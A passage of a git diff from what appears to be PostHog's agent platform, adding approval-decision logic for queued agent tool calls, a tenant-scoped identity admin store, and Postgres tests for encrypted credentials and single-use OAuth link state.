+ expect(JSON.parse(text).approval).toMatchObject({ request_id: 'req-1', state: 'rejected', reason: 'nope' })
+ expect(h.calls.updated[0].patch).toEqual({ state: 'queued' })
+ })
+
+ it('returns not_found when the row is missing', async () => {
+ const h = harness({ row: null })
+ expect(await applyApprovalDecision(h, { requestId: 'x', decision: 'approve', decidedBy: 'u' })).toEqual({
+ ok: false,
+ error: 'not_found',
+ })
+ })
+
+ it('returns not_queued for an already-decided row', async () => {
+ const h = harness({ row: fakeRow({ state: 'approving' }) })
+ expect(
+ await applyApprovalDecision(h, {
+ requestId: 'req-1',
+ applicationId: 'app-1',
+ decision: 'approve',
+ decidedBy: 'u',
+ })
+ ).toEqual({ ok: false, error: 'not_queued', state: 'approving' })
+ })
+
+ it('rejects edits when the policy did not allow_edit', async () => {
+ const h = harness({ row: fakeRow({ approver_scope: { type: 'principal', allow_edit: false } }) })
+ const result = await applyApprovalDecision(h, {
+ requestId: 'req-1',
+ applicationId: 'app-1',
+ decision: 'approve',
+ decidedBy: 'u',
+ editedArgs: { team_id: 7 },
+ })
+ expect(result).toEqual({ ok: false, error: 'edits_not_allowed' })
+ expect(h.calls.markApproving).toHaveLength(0)
+ })
+
+ it('returns race_lost when the atomic flip loses to a concurrent decider', async () => {
+ const h = harness({ row: fakeRow(), markReturnsNull: true })
+ expect(
+ await applyApprovalDecision(h, {
+ requestId: 'req-1',
+ applicationId: 'app-1',
+ decision: 'approve',
+ decidedBy: 'u',
+ })
+ ).toEqual({ ok: false, error: 'race_lost' })
+ })
+
+ it('marker round-trips', () => {
+ expect(parseApprovalDecidedMarker(buildApprovalDecidedMarker('abc'))).toBe('abc')
+ expect(parseApprovalDecidedMarker('not-a-marker')).toBeNull()
+ })
+})
diff --git a/products/agent_platform/services/agent-shared/src/persistence/approval-decision.ts b/products/agent_platform/services/agent-shared/src/persistence/approval-decision.ts
new file mode 100644
index 000000000000..1c10d352f7c0
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/persistence/approval-decision.ts
@@ -0,0 +1,147 @@
+/**
+ * Shared "decide a queued approval + wake its session" logic, so every decision
+ * surface drives the same transition without one depending on another:
+ * - the ingress principal-decision API (a Slack button / client tool / the
+ * PostHog Code card — the session principal clears their own gate),
+ * - the janitor's `/approvals/:id/decide` RPC (Django forwards `agent`/owner
+ * decisions here),
+ * - the janitor expiry sweep (a timed-out queue, via `markRejected`/expire).
+ *
+ * Each caller authorises WHO may decide; this just executes the decision against
+ * the approval store + session queue. The approval row's atomic `queued →
+ * approving` flip is the single-use guard — a replayed decision loses the race.
+ *
+ * The runner picks up the decision on its next turn: an approve appends an
+ * `APPROVAL_DECIDED_MARKER` into `pending_inputs` (the runner dispatches the
+ * real tool, finalises the row, and pushes the synthetic tool_result); a reject
+ * materialises the rejection envelope straight into `pending_inputs`.
+ */
+
+import type { ConversationMessage } from '../spec/spec'
+import type { ApprovalRequestState, ApprovalStore } from './approval-store'
+import type { SessionQueue } from './queue'
+
+/**
+ * Sentinel passed from a decision surface into a waking runner turn without a
+ * `pending_inputs` schema change. The runner scans for it BEFORE the usual
+ * drain; the marker itself never lands in `conversation`, so the model never
+ * sees the sentinel string. v1 may swap this for a dedicated message kind.
+ */
+export const APPROVAL_DECIDED_MARKER_PREFIX = '__POSTHOG_APPROVAL_DECIDED__'
+
+export function buildApprovalDecidedMarker(requestId: string): string {
+ return `${APPROVAL_DECIDED_MARKER_PREFIX}:${requestId}`
+}
+
+/** Parse a marker text back to its request id, or null when it isn't a marker. */
+export function parseApprovalDecidedMarker(text: string): string | null {
+ if (!text.startsWith(`${APPROVAL_DECIDED_MARKER_PREFIX}:`)) {
+ return null
+ }
+ return text.slice(APPROVAL_DECIDED_MARKER_PREFIX.length + 1)
+}
+
+export type ApprovalDecision = 'approve' | 'reject'
+
+export interface ApplyApprovalDecisionInput {
+ requestId: string
+ /**
+ * Tenant scope — when set, the row must belong to this application (a
+ * leaked-id guard). Edge callers (ingress, Django→janitor) always pass it;
+ * a trusted internal caller may omit it for an unscoped lookup.
+ */
+ applicationId?: string
+ decision: ApprovalDecision
+ /** Identifier of whoever decided (posthog uuid / slack user id / jwt sub). */
+ decidedBy: string
+ /** Approver's free-form reason; surfaces in the synthetic result. */
+ reason?: string
+ /** Approver-edited args. Only honoured when the policy set `allow_edit`. */
+ editedArgs?: Record<string, unknown>
+}
+
+export type ApplyApprovalDecisionError = 'not_found' | 'not_queued' | 'edits_not_allowed' | 'race_lost'
+
+export type ApplyApprovalDecisionResult =
+ | { ok: true; state: ApprovalRequestState }
+ | { ok: false; error: ApplyApprovalDecisionError; state?: ApprovalRequestState }
+
+/**
+ * Decide a queued approval and wake its session. Authorisation is the caller's
+ * job — this only executes the decision. Returns a discriminated result the
+ * caller maps to its transport (HTTP status, Slack reply, …).
+ */
+export async function applyApprovalDecision(
+ deps: { approvals: ApprovalStore; queue: SessionQueue },
+ input: ApplyApprovalDecisionInput,
+ now: () => number = Date.now
+): Promise<ApplyApprovalDecisionResult> {
+ const existing = input.applicationId
+ ? await deps.approvals.getForApplication(input.requestId, input.applicationId)
+ : await deps.approvals.get(input.requestId)
+ if (!existing) {
+ return { ok: false, error: 'not_found' }
+ }
+ if (existing.state !== 'queued') {
+ return { ok: false, error: 'not_queued', state: existing.state }
+ }
+ // edited_args is only honoured when the policy opted in. Surface a
+ // structured error so the caller can map it to a user-facing message
+ // rather than silently dropping the edits.
+ if (input.editedArgs !== undefined && !existing.approver_scope.allow_edit) {
+ return { ok: false, error: 'edits_not_allowed' }
+ }
+
+ const decidedAt = new Date(now()).toISOString()
+ if (input.decision === 'approve') {
+ const updated = await deps.approvals.markApproving(input.requestId, {
+ decided_by: input.decidedBy,
+ decided_at: decidedAt,
+ reason: input.reason,
+ decided_args: input.editedArgs,
+ })
+ if (!updated) {
+ return { ok: false, error: 'race_lost' }
+ }
+ const wake: ConversationMessage = {
+ role: 'user',
+ content: [{ type: 'text', text: buildApprovalDecidedMarker(updated.id) }],
+ timestamp: now(),
+ }
+ await deps.queue.appendPendingInput(existing.session_id, wake)
+ await deps.queue.update(existing.session_id, { state: 'queued' })
+ return { ok: true, state: updated.state }
+ }
+
+ // reject: terminal here. Materialise the synthetic rejection straight into
+ // pending_inputs as a `user` message (not a tool_result — strict providers
+ // 400 when a tool_result follows the closing assistant message).
+ const updated = await deps.approvals.markRejected(input.requestId, {
+ decided_by: input.decidedBy,
+ decided_at: decidedAt,
+ reason: input.reason,
+ })
+ if (!updated) {
+ return { ok: false, error: 'race_lost' }
+ }
+ const rejected: ConversationMessage = {
+ role: 'user',
+ content: [
+ {
+ type: 'text',
+ text: JSON.stringify({
+ approval: {
+ request_id: updated.id,
+ state: 'rejected',
+ decided_by: updated.decision_by ?? undefined,
+ reason: updated.decision_reason ?? undefined,
+ },
+ }),
+ },
+ ],
+ timestamp: now(),
+ }
+ await deps.queue.appendPendingInput(existing.session_id, rejected)
+ await deps.queue.update(existing.session_id, { state: 'queued' })
+ return { ok: true, state: updated.state }
+}
diff --git a/products/agent_platform/services/agent-shared/src/persistence/approval-store.test.ts b/products/agent_platform/services/agent-shared/src/persistence/approval-store.test.ts
index 268c4b18a354..2db5f9b979c3 100644
--- a/products/agent_platform/services/agent-shared/src/persistence/approval-store.test.ts
+++ b/products/agent_platform/services/agent-shared/src/persistence/approval-store.test.ts
@@ -4,9 +4,21 @@ import { Pool } from 'pg'
import { reset } from '@posthog/agent-shared/testing'
import { AssistantMessageRecord } from '../spec/spec'
-import { ApprovalStore, hashCanonicalArgs, UpsertApprovalRequestInput } from './approval-store'
+import { ApprovalStore, effectiveApprovalType, hashCanonicalArgs, UpsertApprovalRequestInput } from './approval-store'
import { PgApprovalStore } from './pg-approval-store'
+describe('effectiveApprovalType', () => {
+ it.each([
+ ['new principal scope', { type: 'principal', allow_edit: false }, 'principal'],
+ ['new agent scope', { type: 'agent', allow_edit: true }, 'agent'],
+ ['legacy team_admins → agent', { approvers: ['team_admins'] }, 'agent'],
+ ['legacy session_principal → principal', { approvers: ['session_principal'] }, 'principal'],
+ ['empty / unknown → principal', {}, 'principal'],
+ ])('%s', (_label, scope, expected) => {
+ expect(effectiveApprovalType(scope as never)).toBe(expected)
+ })
+})
+
const TEST_DB_URL =
process.env.AGENT_TEST_DB_URL ?? 'postgres://posthog:posthog@localhost:5432/agent_runtime_queue_test'
@@ -51,9 +63,8 @@ function buildInput(overrides: Partial<UpsertApprovalRequestInput> = {}): Upsert
proposed_args: { team_id: 42 },
assistant_message: fauxAssistantMessage(),
approver_scope: {
- approvers: ['team_admins'],
+ type: 'agent',
allow_edit: false,
- allow_agent_approver: false,
},
expires_at: new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString(),
...overrides,
diff --git a/products/agent_platform/services/agent-shared/src/persistence/approval-store.ts b/products/agent_platform/services/agent-shared/src/persistence/approval-store.ts
index 5f1a0c092e95..080e2ecf3fa0 100644
--- a/products/agent_platform/services/agent-shared/src/persistence/approval-store.ts
+++ b/products/agent_platform/services/agent-shared/src/persistence/approval-store.ts
@@ -15,7 +15,7 @@
import { createHash } from 'node:crypto'
-import { AssistantMessageRecord } from '../spec/spec'
+import { ApprovalType, AssistantMessageRecord } from '../spec/spec'
export type ApprovalRequestState = 'queued' | 'approving' | 'dispatched' | 'dispatched_failed' | 'rejected' | 'expired'
@@ -32,8 +32,13 @@ export interface ApprovalRequest {
args_hash: Buffer
/** Snapshot of the assistant message that emitted the call. */
assistant_message: AssistantMessageRecord
- /** Resolved approver policy at request time — v0 always `["team_admins"]`. */
- approver_scope: { approvers: string[]; allow_edit: boolean; allow_agent_approver: boolean }
+ /**
+ * Resolved approval policy at request time. `type` decides who may clear it:
+ * `principal` (the session principal, via the ingress decision API) or
+ * `agent` (the agent's owners, via the console). `allow_edit` gates
+ * approver-edited args.
+ */
+ approver_scope: { type: ApprovalType; allow_edit: boolean }
state: ApprovalRequestState
decision_by: string | null
decision_at: string | null
@@ -45,6 +50,26 @@ export interface ApprovalRequest {
expires_at: string
}
+/**
+ * Effective approval authority for a stored row. New rows carry `type`; rows
+ * queued before the principal/agent rebuild carry the legacy `approvers[]`
+ * scope with no `type`, so `scope.type` is `undefined` on them. Map a legacy
+ * `team_admins` scope → `agent` so an in-flight old row stays gated to the
+ * console (and isn't mistaken for a principal request) for its whole TTL during
+ * the migration window. Mirrors the Django `approvals_decide` fallback — every
+ * surface that gates on type MUST resolve through this, not read `.type` raw.
+ */
+export function effectiveApprovalType(scope: ApprovalRequest['approver_scope']): ApprovalType {
+ const s = scope as unknown as { type?: unknown; approvers?: unknown }
+ if (s.type === 'agent' || s.type === 'principal') {
+ return s.type
+ }
+ if (Array.isArray(s.approvers) && s.approvers.includes('team_admins')) {
+ return 'agent'
+ }
+ return 'principal'
+}
+
export interface UpsertApprovalRequestInput {
id: string
session_id: string
diff --git a/products/agent_platform/services/agent-shared/src/persistence/identity-admin-store.ts b/products/agent_platform/services/agent-shared/src/persistence/identity-admin-store.ts
new file mode 100644
index 000000000000..eba0f7a81986
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/persistence/identity-admin-store.ts
@@ -0,0 +1,144 @@
+/**
+ * IdentityAdminStore — read + lifecycle surface over the agent's end-users and
+ * their linked credentials, for the authoring/console UI (proxied through the
+ * janitor + Django `AgentApplicationViewSet`).
+ *
+ * Deliberately KEYLESS: it joins `agent_user` ⋈ `agent_identity_credential` and
+ * returns connection *metadata only* — it never reads `encrypted_credentials`
+ * and never constructs `EncryptedFields`. The janitor must not hold the
+ * decryption key (least privilege), so the runtime `PgIdentityCredentialStore`
+ * (which decrypts) stays out of the janitor; this store covers what the console
+ * needs without it. `revokeConnection` is the same state flip as
+ * `PgIdentityCredentialStore.revoke`, but scoped by `(team_id, application_id)`
+ * for defence-in-depth tenancy — `application_id` is already a tenant-unique
+ * UUID, but the janitor path carries `team_id` too, so we enforce both and a
+ * mismatched pair fails closed rather than crossing a team boundary.
+ */
+
+import type { Pool } from 'pg'
+
+/** A linked external identity, metadata only — no credential material. */
+export interface AdminConnection {
+ id: string
+ provider: string
+ scopes: string[]
+ state: string
+ subject: string | null
+ access_expires_at: string | null
+ created_at: string
+ updated_at: string
+ revoked_at: string | null
+}
+
+/** An agent end-user plus their linked connections. */
+export interface AdminUserWithConnections {
+ id: string
+ principal_kind: string
+ principal_id: string
+ metadata: Record<string, unknown> | null
+ created_at: string
+ connections: AdminConnection[]
+}
+
+interface JoinedRow {
+ user_id: string
+ principal_kind: string
+ principal_id: string
+ metadata: unknown
+ user_created_at: Date
+ conn_id: string | null
+ provider: string | null
+ scopes: string[] | null
+ state: string | null
+ subject: string | null
+ access_expires_at: Date | null
+ conn_created_at: Date | null
+ conn_updated_at: Date | null
+ revoked_at: Date | null
+}
+
+export class PgIdentityAdminStore {
+ constructor(private readonly pool: Pool) {}
+
+ /**
+ * Every `agent_user` for a (team, application), each with its connections
+ * (active or revoked). Users with no links are included (LEFT JOIN). Ordered
+ * newest user first, oldest connection first. Scoped by `team_id` too so a
+ * mismatched team/application pair returns nothing instead of crossing
+ * tenants.
+ */
+ async listUsersWithConnections(teamId: number, applicationId: string): Promise<AdminUserWithConnections[]> {
+ const r = await this.pool.query<JoinedRow>(
+ `SELECT u.id AS user_id,
+ u.principal_kind AS principal_kind,
+ u.principal_id AS principal_id,
+ u.metadata AS metadata,
+ u.created_at AS user_created_at,
+ c.id AS conn_id,
+ c.provider AS provider,
+ c.scopes AS scopes,
+ c.state AS state,
+ c.subject AS subject,
+ c.access_expires_at AS access_expires_at,
+ c.created_at AS conn_created_at,
+ c.updated_at AS conn_updated_at,
+ c.revoked_at AS revoked_at
+ FROM agent_user u
+ LEFT JOIN agent_identity_credential c ON c.agent_user_id = u.id
+ WHERE u.team_id = $1 AND u.application_id = $2
+ ORDER BY u.created_at DESC, c.created_at ASC NULLS FIRST`,
+ [teamId, applicationId]
+ )
+
+ const byUser = new Map<string, AdminUserWithConnections>()
+ for (const row of r.rows) {
+ let user = byUser.get(row.user_id)
+ if (!user) {
+ user = {
+ id: row.user_id,
+ principal_kind: row.principal_kind,
+ principal_id: row.principal_id,
+ metadata: (row.metadata as Record<string, unknown>) ?? null,
+ created_at: row.user_created_at.toISOString(),
+ connections: [],
+ }
+ byUser.set(row.user_id, user)
+ }
+ if (row.conn_id) {
+ user.connections.push({
+ id: row.conn_id,
+ provider: row.provider ?? '',
+ scopes: row.scopes ?? [],
+ state: row.state ?? 'active',
+ subject: row.subject,
+ access_expires_at: row.access_expires_at ? row.access_expires_at.toISOString() : null,
+ created_at: row.conn_created_at ? row.conn_created_at.toISOString() : '',
+ updated_at: row.conn_updated_at ? row.conn_updated_at.toISOString() : '',
+ revoked_at: row.revoked_at ? row.revoked_at.toISOString() : null,
+ })
+ }
+ }
+ return [...byUser.values()]
+ }
+
+ /**
+ * Revoke one active link (state → revoked, kept for audit). Scoped by
+ * `(team_id, application_id)` so a leaked agent_user_id — or a mismatched
+ * team/application pair — can't revoke another tenant's row. Returns true
+ * when a row was flipped, false if there was nothing active to revoke.
+ */
+ async revokeConnection(
+ teamId: number,
+ applicationId: string,
+ agentUserId: string,
+ provider: string
+ ): Promise<boolean> {
+ const r = await this.pool.query(
+ `UPDATE agent_identity_credential
+ SET state = 'revoked', revoked_at = NOW(), updated_at = NOW()
+ WHERE team_id = $1 AND application_id = $2 AND agent_user_id = $3 AND provider = $4 AND state = 'active'`,
+ [teamId, applicationId, agentUserId, provider]
+ )
+ return (r.rowCount ?? 0) > 0
+ }
+}
diff --git a/products/agent_platform/services/agent-shared/src/persistence/identity-store.ts b/products/agent_platform/services/agent-shared/src/persistence/identity-store.ts
index 58d9356b71cf..0f6a15dec432 100644
--- a/products/agent_platform/services/agent-shared/src/persistence/identity-store.ts
+++ b/products/agent_platform/services/agent-shared/src/persistence/identity-store.ts
@@ -19,14 +19,6 @@ export interface AgentUser {
/** Provider-issued stable id (e.g. "T01ABC:U12345" for Slack). */
principal_id: string
metadata?: Record<string, unknown>
- /**
- * Link to a PostHog `User` row. The email-match bridge that used to set
- * this was removed (an unverified Slack email is not a safe authz signal);
- * it is now set only by an explicit, consented identity link, and is null
- * until then. The dispatcher's per-asker auth check reads this to resolve
- * "is the current asker a team admin?".
- */
- posthog_user_id?: number | null
created_at: string
}
@@ -46,12 +38,6 @@ export interface IdentityStore {
find(input: { application_id: string; principal_kind: string; principal_id: string }): Promise<AgentUser | null>
/** Lookup by AgentUser uuid. Returns null when the row doesn't exist. */
getById(agentUserId: string): Promise<AgentUser | null>
- /**
- * Set (or clear, with `null`) the PostHog user this identity is linked to.
- * Should only be called by an explicit consented identity link; `null`
- * clears the link (e.g. on unlink/revoke).
- */
- setPosthogUserId(agentUserId: string, posthogUserId: number | null): Promise<void>
}
export class PgIdentityStore implements IdentityStore {
@@ -103,11 +89,9 @@ export class PgIdentityStore implements IdentityStore {
principal_kind: string
principal_id: string
metadata: unknown
- posthog_user_id: number | null
created_at: Date
}>(
- `SELECT id, team_id, application_id, principal_kind, principal_id, metadata,
- posthog_user_id, created_at
+ `SELECT id, team_id, application_id, principal_kind, principal_id, metadata, created_at
FROM agent_user
WHERE application_id = $1 AND principal_kind = $2 AND principal_id = $3`,
[input.application_id, input.principal_kind, input.principal_id]
@@ -123,15 +107,10 @@ export class PgIdentityStore implements IdentityStore {
principal_kind: row.principal_kind,
principal_id: row.principal_id,
metadata: (row.metadata as Record<string, unknown>) ?? undefined,
- posthog_user_id: row.posthog_user_id,
created_at: row.created_at.toISOString(),
}
}
- async setPosthogUserId(agentUserId: string, posthogUserId: number | null): Promise<void> {
- await this.pool.query(`UPDATE agent_user SET posthog_user_id = $2 WHERE id = $1`, [agentUserId, posthogUserId])
- }
-
async getById(agentUserId: string): Promise<AgentUser | null> {
const r = await this.pool.query<{
id: string
@@ -140,11 +119,9 @@ export class PgIdentityStore implements IdentityStore {
principal_kind: string
principal_id: string
metadata: unknown
- posthog_user_id: number | null
created_at: Date
}>(
- `SELECT id, team_id, application_id, principal_kind, principal_id, metadata,
- posthog_user_id, created_at
+ `SELECT id, team_id, application_id, principal_kind, principal_id, metadata, created_at
FROM agent_user
WHERE id = $1`,
[agentUserId]
@@ -160,7 +137,6 @@ export class PgIdentityStore implements IdentityStore {
principal_kind: row.principal_kind,
principal_id: row.principal_id,
metadata: (row.metadata as Record<string, unknown>) ?? undefined,
- posthog_user_id: row.posthog_user_id,
created_at: row.created_at.toISOString(),
}
}
diff --git a/products/agent_platform/services/agent-shared/src/persistence/pg-identity-credential-store.test.ts b/products/agent_platform/services/agent-shared/src/persistence/pg-identity-credential-store.test.ts
new file mode 100644
index 000000000000..f9807dcc9917
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/persistence/pg-identity-credential-store.test.ts
@@ -0,0 +1,138 @@
+/**
+ * Real-Postgres tests for the persistent linked-credential store. Also the
+ * proof that the hand-written `agent_identity_credential` SCHEMA_SQL snapshot
+ * (test-reset.ts) matches what the store's SQL expects. Skips if the local
+ * test DB is unreachable, same as pg-impls.test.ts.
+ */
+
+import { randomUUID } from 'node:crypto'
+import { Pool } from 'pg'
+import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'
+
+import { isReachable, reset } from '@posthog/agent-shared/testing'
+
+import { PgIdentityCredentialStore, StoredCredential } from '../runtime/identity-credential-store'
+
+const TEST_DB_URL =
+ process.env.AGENT_TEST_DB_URL ?? 'postgres://posthog:posthog@localhost:5432/agent_runtime_queue_test'
+const KEY = '01234567890123456789012345678901' // 32-byte UTF-8, matches the harness
+
+const cred = (over: Partial<StoredCredential> = {}): StoredCredential => ({
+ access_token: 'at-1',
+ refresh_token: 'rt-1',
+ token_type: 'bearer',
+ ...over,
+})
+
+const maybeDescribe = process.env.SKIP_PG_TESTS === '1' ? describe.skip : describe
+
+// agent_user_id is a uuid column — use real UUIDs, not labels.
+const USER_A = randomUUID()
+const USER_B = randomUUID()
+
+maybeDescribe('PgIdentityCredentialStore (real PG)', () => {
+ let pool: Pool
+ let reachable = false
+ let store: PgIdentityCredentialStore
+
+ beforeAll(async () => {
+ reachable = await isReachable(TEST_DB_URL)
+ if (!reachable) {
+ // eslint-disable-next-line no-console
+ console.warn(`[pg-identity-credential-store.test] ${TEST_DB_URL} unreachable — skipping`)
+ return
+ }
+ pool = new Pool({ connectionString: TEST_DB_URL, max: 4 })
+ store = new PgIdentityCredentialStore(pool, { encryptionSaltKeys: KEY })
+ })
+
+ beforeEach(async () => {
+ if (reachable) {
+ await reset({ databaseUrl: TEST_DB_URL })
+ }
+ })
+
+ afterAll(async () => {
+ await pool?.end().catch(() => undefined)
+ })
+
+ const put = (over: Partial<Parameters<PgIdentityCredentialStore['put']>[0]> = {}): Promise<void> =>
+ store.put({
+ teamId: 1,
+ applicationId: randomUUID(),
+ agentUserId: USER_A,
+ provider: 'dogs',
+ credential: cred(),
+ ...over,
+ })
+
+ it('round-trips an encrypted credential and is opaque at rest', async () => {
+ if (!reachable) {
+ return
+ }
+ await put({ agentUserId: USER_A, credential: cred({ access_token: 'secret-token' }), scopes: ['read:dog'] })
+
+ const got = await store.get(USER_A, 'dogs')
+ expect(got?.credential.access_token).toBe('secret-token')
+ expect(got?.scopes).toEqual(['read:dog'])
+
+ // Ciphertext on disk must not contain the plaintext token.
+ const raw = await pool.query('SELECT encrypted_credentials FROM agent_identity_credential')
+ expect(raw.rows[0].encrypted_credentials).not.toContain('secret-token')
+ })
+
+ it('returns null for an unlinked (user, provider)', async () => {
+ if (!reachable) {
+ return
+ }
+ expect(await store.get(randomUUID(), 'dogs')).toBeNull()
+ })
+
+ it('upserts on (agent_user, provider) — last write wins, single row', async () => {
+ if (!reachable) {
+ return
+ }
+ await put({ credential: cred({ access_token: 'first' }) })
+ await put({ credential: cred({ access_token: 'second' }) })
+
+ const got = await store.get(USER_A, 'dogs')
+ expect(got?.credential.access_token).toBe('second')
+ const count = await pool.query('SELECT count(*) FROM agent_identity_credential')
+ expect(Number(count.rows[0].count)).toBe(1)
+ })
+
+ it('keeps providers and users independent', async () => {
+ if (!reachable) {
+ return
+ }
+ await put({ agentUserId: USER_A, provider: 'dogs', credential: cred({ access_token: 'a-dogs' }) })
+ await put({ agentUserId: USER_A, provider: 'posthog', credential: cred({ access_token: 'a-ph' }) })
+ await put({ agentUserId: USER_B, provider: 'dogs', credential: cred({ access_token: 'b-dogs' }) })
+
+ expect((await store.get(USER_A, 'dogs'))?.credential.access_token).toBe('a-dogs')
+ expect((await store.get(USER_A, 'posthog'))?.credential.access_token).toBe('a-ph')
+ expect((await store.get(USER_B, 'dogs'))?.credential.access_token).toBe('b-dogs')
+ })
+
+ it('revoke hides the credential; a fresh put reactivates it', async () => {
+ if (!reachable) {
+ return
+ }
+ await put()
+ await store.revoke(USER_A, 'dogs')
+ expect(await store.get(USER_A, 'dogs')).toBeNull()
+
+ await put({ credential: cred({ access_token: 'relinked' }) })
+ expect((await store.get(USER_A, 'dogs'))?.credential.access_token).toBe('relinked')
+ })
+
+ it('remove hard-deletes', async () => {
+ if (!reachable) {
+ return
+ }
+ await put()
+ await store.remove(USER_A, 'dogs')
+ const count = await pool.query('SELECT count(*) FROM agent_identity_credential')
+ expect(Number(count.rows[0].count)).toBe(0)
+ })
+})
diff --git a/products/agent_platform/services/agent-shared/src/persistence/pg-identity-link-state-store.test.ts b/products/agent_platform/services/agent-shared/src/persistence/pg-identity-link-state-store.test.ts
new file mode 100644
index 000000000000..2eb4a9d6ae8c
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/persistence/pg-identity-link-state-store.test.ts
@@ -0,0 +1,84 @@
+/**
+ * Real-PG tests for the OAuth link-state store. The single-use `consume`
+ * contract is a security primitive (a replayed callback must not mint a second
+ * credential), so it's worth proving against Postgres' atomicity, not a mock.
+ */
+
+import { randomUUID } from 'node:crypto'
+import { Pool } from 'pg'
+import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'
+
+import { isReachable, reset } from '@posthog/agent-shared/testing'
+
+import { PgIdentityLinkStateStore } from '../runtime/identity-link-state-store'
+
+const TEST_DB_URL =
+ process.env.AGENT_TEST_DB_URL ?? 'postgres://posthog:posthog@localhost:5432/agent_runtime_queue_test'
+
+const maybeDescribe = process.env.SKIP_PG_TESTS === '1' ? describe.skip : describe
+
+maybeDescribe('PgIdentityLinkStateStore (real PG)', () => {
+ let pool: Pool
+ let reachable = false
+ let store: PgIdentityLinkStateStore
+
+ beforeAll(async () => {
+ reachable = await isReachable(TEST_DB_URL)
+ if (!reachable) {
+ return
+ }
+ pool = new Pool({ connectionString: TEST_DB_URL, max: 4 })
+ store = new PgIdentityLinkStateStore(pool)
+ })
+
+ beforeEach(async () => {
+ if (reachable) {
+ await reset({ databaseUrl: TEST_DB_URL })
+ }
+ })
+
+ afterAll(async () => {
+ await pool?.end().catch(() => undefined)
+ })
+
+ const create = (ttlMs?: number): Promise<string> =>
+ store.create({
+ teamId: 1,
+ applicationId: randomUUID(),
+ agentUserId: randomUUID(),
+ provider: 'dogs',
+ scopes: ['read:dog'],
+ codeVerifier: 'verifier-xyz',
+ redirectUri: 'https://x/cb',
+ ttlMs,
+ })
+
+ it('consume returns the row exactly once', async () => {
+ if (!reachable) {
+ return
+ }
+ const id = await create()
+ const first = await store.consume(id)
+ expect(first?.provider).toBe('dogs')
+ expect(first?.codeVerifier).toBe('verifier-xyz')
+ expect(first?.scopes).toEqual(['read:dog'])
+
+ // Replayed callback → no row.
+ expect(await store.consume(id)).toBeNull()
+ })
+
+ it('consume returns null for an unknown id', async () => {
+ if (!reachable) {
+ return
+ }
+ expect(await store.consume(randomUUID())).toBeNull()
+ })
+
+ it('consume returns null once expired', async () => {
+ if (!reachable) {
+ return
+ }
+ const id = await create(-1000) // already expired
+ expect(await store.consume(id)).toBeNull()
+ })
+})
diff --git a/products/agent_platform/services/agent-shared/src/persistence/pg-impls.test.ts b/products/agent_platform/services/agent-shared/src/persistence/pg-impls.test.ts
index 4270cc812b60..fb820ea22c46 100644
--- a/products/agent_platform/services/agent-shared/src/persistence/pg-impls.test.ts
+++ b/products/agent_platform/services/agent-shared/src/persistence/pg-impls.test.ts
@@ -11,7 +11,7 @@
import { randomUUID } from 'node:crypto'
import { Pool } from 'pg'
-import { reset } from '@posthog/agent-shared/testing'
+import { isReachable, reset } from '@posthog/agent-shared/testing'
import { EncryptedFields } from '../runtime/encryption'
import { PgSandboxInstanceStore } from '../sandbox/sandbox-instance-store'
@@ -25,18 +25,6 @@ import { PgRevisionStore } from './pg-revision-store'
const TEST_DB_URL =
process.env.AGENT_TEST_DB_URL ?? 'postgres://posthog:posthog@localhost:5432/agent_runtime_queue_test'
-async function isReachable(): Promise<boolean> {
- const probe = new Pool({ connectionString: TEST_DB_URL, max: 1 })
- try {
- await probe.query('SELECT 1')
- return true
- } catch {
- return false
- } finally {
- await probe.end().catch(() => undefined)
- }
-}
-
const maybeDescribe = process.env.SKIP_PG_TESTS === '1' ? describe.skip : describe
maybeDescribe('Postgres impls (real PG)', () => {
@@ -44,7 +32,7 @@ maybeDescribe('Postgres impls (real PG)', () => {
let reachable = false
beforeAll(async () => {
- reachable = await isReachable()
+ reachable = await isReachable(TEST_DB_URL)
if (!reachable) {
// eslint-disable-next-line no-console
console.warn(`[pg-impls.test] ${TEST_DB_URL} unreachable — skipping`)
@@ -655,7 +643,7 @@ maybeDescribe('Postgres impls (real PG)', () => {
tool_name: '@posthog/team-delete',
proposed_args: { team_id: 42, dry_run: false },
assistant_message: asstMsg,
- approver_scope: { approvers: ['team_admins'], allow_edit: false, allow_agent_approver: false },
+ approver_scope: { type: 'agent' as const, allow_edit: false },
expires_at: new Date(Date.now() + 60_000).toISOString(),
}
@@ -740,7 +728,7 @@ maybeDescribe('Postgres impls (real PG)', () => {
tool_call_id: 'tc_x',
tool_name: 'tool.dispatch',
assistant_message: asstMsg,
- approver_scope: { approvers: ['team_admins'], allow_edit: false, allow_agent_approver: false },
+ approver_scope: { type: 'agent' as const, allow_edit: false },
expires_at: new Date(Date.now() + 60_000).toISOString(),
}
diff --git a/products/agent_platform/services/agent-shared/src/persistence/pg-queue.ts b/products/agent_platform/services/agent-shared/src/persistence/pg-queue.ts
index 7b3086ee24cb..e3b9cfe7b76d 100644
--- a/products/agent_platform/services/agent-shared/src/persistence/pg-queue.ts
+++ b/products/agent_platform/services/agent-shared/src/persistence/pg-queue.ts
@@ -576,6 +576,12 @@ function buildSessionFilter(
params.push(opts.revisionId)
where.push(`revision_id = $${params.length}`)
}
+ if (opts.agentUserId) {
+ // Match the agent_user_id stamped on the principal JSON. Only slack
+ // sessions carry it today; other kinds simply won't match.
+ params.push(opts.agentUserId)
+ where.push(`principal->>'agent_user_id' = $${params.length}`)
+ }
if (opts.createdAfter) {
params.push(opts.createdAfter)
where.push(`created_at >= $${params.length}`)
diff --git a/products/agent_platform/services/agent-shared/src/persistence/queue.ts b/products/agent_platform/services/agent-shared/src/persistence/queue.ts
index f90a110af937..ce56cb3d54c5 100644
--- a/products/agent_platform/services/agent-shared/src/persistence/queue.ts
+++ b/products/agent_platform/services/agent-shared/src/persistence/queue.ts
@@ -59,6 +59,13 @@ export interface ListSessionsOpts {
states?: AgentSession['state'][]
/** Filter to a specific revision id within the application. */
revisionId?: string
+ /**
+ * Filter to sessions started by one agent user. Matches the
+ * `agent_user_id` stamped on the session principal (set today only for
+ * slack-trigger sessions — other kinds don't carry it yet, so they won't
+ * match).
+ */
+ agentUserId?: string
/** ISO datetime — only return sessions with created_at >= this. */
createdAfter?: string
/** ISO datetime — only return sessions with created_at <= this. */
